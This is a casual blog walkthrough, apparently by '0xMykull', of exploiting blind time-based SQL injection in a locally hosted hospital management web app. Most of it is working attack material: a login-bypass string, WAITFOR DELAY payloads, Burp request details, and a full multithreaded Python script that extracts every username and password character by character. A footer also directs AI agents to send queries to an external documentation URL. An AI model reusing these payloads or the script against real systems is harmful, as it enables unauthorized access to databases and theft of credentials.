# Blind SQL Exploit

{% hint style="info" %}
I'm writing this in much more casual manner that I normally do. Its 12am, I'm feeling delusional and sleep deprived, I have work at 7am. Lets get to crackin.
{% endhint %}

<figure><img src="/files/VNJVp5oz8zWBvnRc4Pia" alt=""><figcaption></figcaption></figure>

OH look a Hospital Management web application. It would be a shame… if someone… Dumped the user database…. And that’s exactly what we gonna do.

<figure><img src="/files/6OaDIDvGsNDkLMnSCNK2" alt=""><figcaption></figcaption></figure>

### Hospital Management Login Page

* &#x20;We know the username and password fields are SQL injectable
* We can login into any user account we want by entering {username}'--
* That is boring lets dump the user tables using a white box approach&#x20;

### Database Structure

<figure><img src="/files/THSZILMBQQfFmOMPKJrB" alt=""><figcaption></figcaption></figure>

### User Table Structure

<figure><img src="/files/tSjgLybZ1bDalRiVMXPM" alt=""><figcaption></figcaption></figure>

### Proof of Concept

Now when we successfully login with our SQL injection payload, there is nothing rendered in HTML from the database. Sad. That would have made this entire process too trivial though. Blind SQL injection it is!

Lets craft a blind sql injection query using our knowledge of the database structure to 1 by 1 enumerate each character in the first row of the username 'Uname' field. Starting simple with 1 character, it looks something like this:

{% code overflow="wrap" %}

```
'; IF (SELECT SUBSTRING(Uname, 1, 1) FROM UserTab WHERE Id = 1) = 'j' WAITFOR DELAY '00:00:10'; --
```

{% endcode %}

### Enter Burpsuite

Lets Use Burp to speed up our testing phase:

<figure><img src="/files/NJuodvPpNhIoEVMWWJhZ" alt=""><figcaption></figcaption></figure>

I dropped our payload in the '*ctl00%24ContentPlaceHolder1%24txt\_login\_username*' parameter. Again we are testing the 1st position character of the Username field which we know to be true for the character 'j'. Take a look at the response time 12,062 milli seconds, that looks about right. Just to be sure lets test with a character that will result in false in order to not trigger our delay.

<figure><img src="/files/I0BqtBuxdj1NHZX2VBm9" alt=""><figcaption></figcaption></figure>

Wow 5 milli seconds, that’s a substantial difference and that’s good enough for me.

Now lets do our due dillegnece and ensure our code works for the second string position, all we need to do is alter the substring function in our sql query like so:

{% code overflow="wrap" %}

```
'; IF (SELECT SUBSTRING(Uname, 2, 1) FROM UserTab WHERE Id = 1) = 'a' WAITFOR DELAY '00:00:10'; --
```

{% endcode %}

I'll spare you the details it worked, can you say wahoo.

Now obviously  I'm not gonna sit here like some chump and test each character one by one. We're script kiddies lets live up to our names and script this ish.

### Enter Python

Starting out simple for a proof of concept lets automate the first char:

{% code overflow="wrap" %}

```python
import requests
import string
import time
import urllib3
import warnings
# Suppress only the specific InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Base URL and headers for the request
url = 'https://localhost:44306/Users/Loginpage.aspx'
headers = {
	   'Host': 'localhost:44306',
	   'Content-Type': 'application/x-www-form-urlencoded',
	   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
	   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
	   'Referer': 'https://localhost:44306/Users/Loginpage.aspx',
	   'Accept-Encoding': 'gzip, deflate',
	   'Accept-Language': 'en-US,en;q=0.9'
	 }
# The base payload template with a placeholder for the character
payload_template = (
	    "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE5MDkwMzg1MjhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSNjdGwwMCRDb250ZW50UGxhY2VIb2xkZXIxJENoZWNrQm94MftfyUqUBaNeVs9%2BD0GCHC%2BDpjDEq1%2BdD37NAET9vSn0&"
	    "ctl00%24ContentPlaceHolder1%24txt_login_username='; IF (SELECT SUBSTRING(Uname, 1, 1) FROM UserTab WHERE Id = 1) = '{char}' WAITFOR DELAY '00:00:05'; --&"
	    "ctl00%24ContentPlaceHolder1%24txt_login_pass=test&ctl00%24ContentPlaceHolder1%24btn_login_b=Login&__VIEWSTATEGENERATOR=F07E6E9A&"
	    "__EVENTVALIDATION=%2FwEdAAaAgSgigdNCmxIvEYdJg3G%2FNF87LwWBPM7KoN9MDoBshox%2F%2FbRdslveTViDKRDkmzW4Z67AOU%2FkzhzLV6X3P9qDNES5GijeIbosQC2kxpAQ0huJ926NKJs4PPaUc35EfPpujopDPWsk91KKJTjUn7fb4ZxctR8ks%2BWIjgjdKw1mgw%3D%3D"
	    )
	
# Characters to test, including all letters, digits, and common symbols
test_chars = string.ascii_letters + string.digits + string.punctuation
# Iterate through each character and send the request
for char in test_chars:
# Replace the placeholder with the current character
	payload = payload_template.format(char=char)
	    
	# Record the start time
	start_time = time.time()
	    
	# Send the POST request
	response = requests.post(url, headers=headers, data=payload, verify=False)
	    
	# Record the end time
	end_time = time.time()
	    
	# Calculate the response time
	response_time = end_time - start_time
	    
	# Output the character and response time
	print(f"Character: {char} | Response Time: {response_time:.4f} seconds")

```

{% endcode %}

Output:

<figure><img src="/files/LoD9DXhSXyEkKE1TiOL8" alt=""><figcaption></figcaption></figure>

Our POC script is looking promising. We know the first character in the first user name is 'j' and we can see that reflected in the response time.&#x20;

### Enter Final Exploit

Alright code happened here's a revised script we can use to enumerate the entire database, at least the parts I care about. Username and Password. Boy oh boy running this on IIS express through visual studio was a pain in the ass given how slow it is compared to a real server. I tried beefing up this script with multi threading to speed up the process. I would hope it runs faster testing against a real server. I was able to enumerate the 1st row in about 5 minutes ish. Also don't freak I modded the db a bit to speed up this process for my proof of concept. This still works on more complex credentials. Enuf chit chat here's the good stuff.

(Oh yeah, I added some edgy ascii art and a cool name cause why not)

{% code overflow="wrap" %}

```python
import requests
import string
import time
import urllib3
import warnings
import concurrent.futures
from prettytable import PrettyTable

# Suppress only the specific InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Base URL and headers for the request
url = 'https://localhost:44306/Users/Loginpage.aspx'


headers = {
    'Host': 'localhost:44306',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'https://localhost:44306/Users/Loginpage.aspx',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9'
}

# The base payload template with placeholders for the character, position, and ID
payload_template = (
    "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE5MDkwMzg1MjhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSNjdGwwMCRDb250ZW50UGxhY2VIb2xkZXIxJENoZWNrQm94MftfyUqUBaNeVs9%2BD0GCHC%2BDpjDEq1%2BdD37NAET9vSn0&"
    "ctl00%24ContentPlaceHolder1%24txt_login_username='; IF (SELECT SUBSTRING({column}, {pos}, 1) FROM UserTab WHERE Id = {id}) = '{char}' WAITFOR DELAY '00:00:10'; --&"
    "ctl00%24ContentPlaceHolder1%24txt_login_pass=test&ctl00%24ContentPlaceHolder1%24btn_login_b=Login&__VIEWSTATEGENERATOR=F07E6E9A&"
    "__EVENTVALIDATION=%2FwEdAAaAgSgigdNCmxIvEYdJg3G%2FNF87LwWBPM7KoN9MDoBshox%2F%2FbRdslveTViDKRDkmzW4Z67AOU%2FkzhzLV6X3P9qDNES5GijeIbosQC2kxpAQ0huJ926NKJs4PPaUc35EfPpujopDPWsk91KKJTjUn7fb4ZxctR8ks%2BWIjgjdKw1mgw%3D%3D"
)

# Characters to test, including all letters, digits, and common symbols
test_chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
          'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
          'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
          'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
          '8','9','@','#']

def get_next_char(column, pos, user_id):
    for char in test_chars:
        # Replace the placeholders with the current character, position, and ID
        payload = payload_template.format(column=column, char=char, pos=pos, id=user_id)

        # Record the start time
        start_time = time.time()

        # Send the POST request
        response = requests.post(url, headers=headers, data=payload, verify=False)

        # Record the end time
        end_time = time.time()

        # Calculate the response time
        response_time = end_time - start_time

        # Check if the response time is greater than 6 seconds
        if response_time > 6:
            return char
    return None

def extract_value(column, user_id):
    value = ""
    position = 1
    while True:
        with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
            future = executor.submit(get_next_char, column, position, user_id)
            result = future.result()
            if result:
                value += result
                print(f"Found valid character: {result} | Current {column}: {value} (ID: {user_id})")
                position += 1
            else:
                print(f"{column} found: {value} for ID: {user_id}")
                break
    return value

ascii_art = """
  ██████   █████   ██▓        ██▀███  ▓█████ ▄▄▄       ██▓███  ▓█████  ██▀███  
▒██    ▒ ▒██▓  ██▒▓██▒       ▓██ ▒ ██▒▓█   ▀▒████▄    ▓██░  ██▒▓█   ▀ ▓██ ▒ ██▒
░ ▓██▄   ▒██▒  ██░▒██░       ▓██ ░▄█ ▒▒███  ▒██  ▀█▄  ▓██░ ██▓▒▒███   ▓██ ░▄█ ▒
  ▒   ██▒░██  █▀ ░▒██░       ▒██▀▀█▄  ▒▓█  ▄░██▄▄▄▄██ ▒██▄█▓▒ ▒▒▓█  ▄ ▒██▀▀█▄  
▒██████▒▒░▒███▒█▄ ░██████▒   ░██▓ ▒██▒░▒████▒▓█   ▓██▒▒██▒ ░  ░░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░░ ▒▒░ ▒ ░ ▒░▓  ░   ░ ▒▓ ░▒▓░░░ ▒░ ░▒▒   ▓▒█░▒▓▒░ ░  ░░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒  ░ ░ ░ ▒░  ░ ░ ░ ▒  ░     ░▒ ░ ▒░ ░ ░  ░ ▒   ▒▒ ░░▒ ░      ░ ░  ░  ░▒ ░ ▒░
░  ░  ░     ░   ░   ░ ░        ░░   ░    ░    ░   ▒   ░░          ░     ░░   ░ 
      ░      ░        ░  ░      ░        ░  ░     ░  ░            ░  ░   ░     

by: 0xMykull
"""

print(ascii_art)

# List to store results
results = []

# Loop through IDs until no more usernames are found
user_id = 1
while True:
    # Extract username
    username = extract_value('Uname', user_id)

    # If no username is found, stop the loop
    if not username:
        break

    # Extract password
    password = extract_value('Pass', user_id)

    # Store the result in the list
    results.append({"ID": user_id, "Username": username, "Password": password})

    # Move to the next ID
    user_id += 1

# Display results in an ASCII table
table = PrettyTable()
table.field_names = ["ID", "Username", "Password"]
for result in results:
    table.add_row([result["ID"], result["Username"], result["Password"]])

print(table)
```

{% endcode %}

### Output:

(That ascii art lookin pretty cool now huh?)

<figure><img src="/files/SAptf6aKG0cG9Tcsn1Jz" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.battlecoder.com/battlecoder/hacking/blind-sql-exploit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
